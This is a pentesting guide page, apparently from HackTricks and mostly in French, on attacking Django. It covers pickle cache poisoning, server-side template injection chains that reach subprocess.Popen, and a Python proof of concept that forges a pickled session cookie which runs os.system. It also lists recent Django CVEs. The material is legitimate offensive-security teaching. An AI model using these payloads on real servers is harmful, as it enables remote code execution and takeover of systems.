6.1 KiB
Raw Blame History

Django

{{#include ../../banners/hacktricks-training.md}}

Cache Manipulation to RCE

La méthode de stockage du cache par défaut de Django est Python pickles, ce qui peut conduire à RCE si untrusted input is unpickled. Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité en RCE sur le serveur sous-jacent.

Le cache de Django est stocké dans l'un des quatre emplacements suivants : Redis, memory, files, ou une database. Le cache stocké dans un serveur Redis ou dans une base de données constitue les vecteurs d'attaque les plus probables (Redis injection et SQL injection), mais un attaquant pourrait aussi utiliser le cache basé sur des fichiers pour transformer une écriture arbitraire en RCE. Les mainteneurs ont considéré cela comme non problématique. Il est important de noter que le dossier des fichiers de cache, le nom de la table SQL et les détails du serveur Redis varieront selon l'implémentation.

Ce rapport HackerOne fournit un excellent exemple reproductible d'exploitation du cache Django stocké dans une base SQLite : https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI → RCE.

Détection

  1. Recherchez des appels dynamiques à Template() / Engine.from_string() / render_to_string() qui incluent la moindre donnée de requête non assainie.
  2. Envoyez un payload basé sur le temps ou arithmétique :
{{7*7}}

Si la sortie rendue contient 49, l'entrée est compilée par le moteur de template.

Primitive to RCE

Django bloque l'accès direct à __import__, mais le graphe d'objets Python est accessible :

{{''.__class__.mro()[1].__subclasses__()}}

Trouver l'index de subprocess.Popen (≈400500 selon la build Python) et exécuter des commandes arbitraires :

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Un gadget universel plus sûr consiste à itérer jusqu'à ce que cls.__name__ == 'Popen'.

Le même gadget fonctionne pour Debug Toolbar ou les fonctionnalités de rendu de templates de Django-CMS qui malgèrent les entrées utilisateur.


Voir aussi : RCE d'export PDF ReportLab/xhtml2pdf

Les applications construites sur Django intègrent couramment xhtml2pdf/ReportLab pour exporter des vues en PDF. Lorsque du HTML contrôlé par l'utilisateur est envoyé dans la génération de PDF, rl_safe_eval peut évaluer des expressions à l'intérieur de triples crochets [[[ ... ]]], permettant l'exécution de code (CVE-2023-33733). Détails, payloads, et mitigations:

{{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}}


Si le setting SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' est activé (ou si un serializer personnalisé désérialise des pickles), Django déchiffre et désérialise (unpickle) le cookie de session avant d'appeler tout code de vue. Par conséquent, posséder une clé de signature valide (le SECRET_KEY du projet par défaut) suffit pour une exécution de code distante immédiate.

Prérequis pour l'exploit

  • Le serveur utilise PickleSerializer.
  • L'attaquant connaît / peut deviner settings.SECRET_KEY (leaks via GitHub, .env, error pages, etc.).

Preuve de concept

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Envoyez le cookie résultant, et le payload s'exécute avec les permissions du worker WSGI.

Atténuations: Gardez le JSONSerializer par défaut, faites tourner la SECRET_KEY, et configurez SESSION_COOKIE_HTTPONLY.


Récents CVEs Django à fort impact (2023-2025) que les pentesters devraient vérifier

  • CVE-2025-48432 Log Injection via unescaped request.path (corrigé le 4 juin 2025). Permet aux attaquants d'introduire des sauts de ligne/codes ANSI dans les fichiers de logs et d'empoisonner l'analyse des logs en aval. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005 Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). Concevez des clés JSON permettant de sortir de la mise entre guillemets et d'exécuter du SQL arbitraire. Corrigé dans 4.2.15 / 5.0.8.

Identifiez toujours la version exacte du framework via la page d'erreur X-Frame-Options ou le hash de /static/admin/css/base.css et testez les éléments cidessous lorsque cela est applicable.


Références

  • Communiqué de sécurité Django "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 4 Jun 2025.
  • OP-Innovate : "Django releases security updates to address SQL injection flaw CVE-2024-42005" 11 Aug 2024.
  • 0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD https://0xdf.gitlab.io/2025/08/09/htb-university.html

{{#include ../../banners/hacktricks-training.md}}